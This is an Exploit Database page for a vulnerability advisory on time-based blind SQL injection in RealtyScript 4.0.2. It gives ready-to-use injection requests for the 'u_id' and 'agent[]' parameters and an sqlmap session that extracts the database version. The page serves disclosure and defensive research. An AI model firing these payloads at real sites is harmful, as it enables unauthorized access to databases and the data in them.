



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# RealtyScript 4.0.2 - Multiple Blind SQL Injections

**EDB-ID:**

38497

**CVE:**

**EDB Verified:** ✘

**Author:**

[LIQUIDWORM](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[PHP](#)

**Date:**

2015-10-19

**Vulnerable App:**





## RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities

Vendor: Next Click Ventures

Product web page: <http://www.realtyscript.com>

Affected version: 4.0.2

Summary: RealtyScript is award-winning real estate software that makes it effortless for a real estate agent, office, or entrepreneur to be up and running with a real estate web site in minutes. The software is in daily use on thousands of domain names in over 40 countries and has been translated into over 25 languages.

Desc: RealtyScript suffers from multiple SQL Injection vulnerabilities. Input passed via the GET parameter 'u\_id' and the POST parameter 'agent[]' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache/2.4.6 (CentOS)

PHP/5.4.16

MariaDB-5.5.41

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience

Advisory ID: ZSL-2015-5270

Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5270.php>

01.10.2015

--

(1)

```
GET /admin/users.php?req=remove&u_id=103 and (select * from
(select(sleep(66)))a)-- & HTTP/1.1
```

(2)

```
POST /admin/mailer.php HTTP/1.1
```

```
Host: TARGET
```

```
Content-Length: 62
```

```
Cache-Control: max-age=0
```

```
Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
```

```
Origin: http://TARGET
```

```
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/45.0.2454.101 Safari/537.36
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Referer: http://TARGET/admin/mailer.php
```

```
Accept-Encoding: gzip, deflate
```

```
Accept-Language: en-US,en;q=0.8
```

```
Cookie: PHPSESSID=vaq21340scj2u53a1b96ehvid5;
```

```
agent[]=102 and (select * from (select(sleep(67)))a)--
&subject=test&message=t00t^^&submit_mailer=Send
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
===== .sqlmap session output
=====
```

```
$ sqlmap -r request1.txt -p "u_id" --dbms=MySQL --os=Linux --sql-
query="SELECT @@version"
```

```

_ _ _ | | _ _ _ _ _ {1.0-dev-04c1d43}
|_ -| . | | | . ' | . |
|_ _|_ | | | | | | | | | |
      | |          | | http://sqlmap.org
```

```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal.
```

```
[*] starting at 14:36:36
```

```
[14:36:36] [INFO] parsing HTTP request from 'request1.txt'
```

```
[14:36:36] [INFO] testing connection to the target URL
```

```
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
```

```
---
```

```
Parameter: u_id (GET)
```

```
  Type: AND/OR time-based blind
```

```
  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
```

```
  Payload: req=remove&u_id=103 AND (SELECT * FROM (SELECT(SLEEP(5)))YrMM)
```

```
---
```

```
[14:36:36] [INFO] testing MySQL
```

```
[14:36:36] [INFO] confirming MySQL
```

```
[14:36:36] [INFO] the back-end DBMS is MySQL
```

```
web server operating system: Linux CentOS
```

```
web application technology: Apache 2.4.6, PHP 5.4.16
```

```
back-end DBMS: MySQL >= 5.0.0
```

```
[14:36:36] [INFO] fetching SQL SELECT statement query output: 'SELECT
@@version'
```

```
[14:36:36] [WARNING] time-based comparison requires larger statistical
model, please wait.....
```

```
[14:36:45] [WARNING] it is very important not to stress the network adapter
during usage of time-based payloads to prevent potential errors
```

```
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n] Y
```

```
[14:37:03] [INFO] adjusting time delay to 2 seconds due to good response
times
```

```
5.5.41-MariaDB
```

```
SELECT @@version:      '5.5.41-MariaDB'
```

```
[14:38:50] [INFO] fetched data logged to text files under
```

```
'/.sqlmap/output/TARGET'
```

```
[*] shutting down at 14:38:50
```

```
===== sqlmap session output.
=====
```

Tags:

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.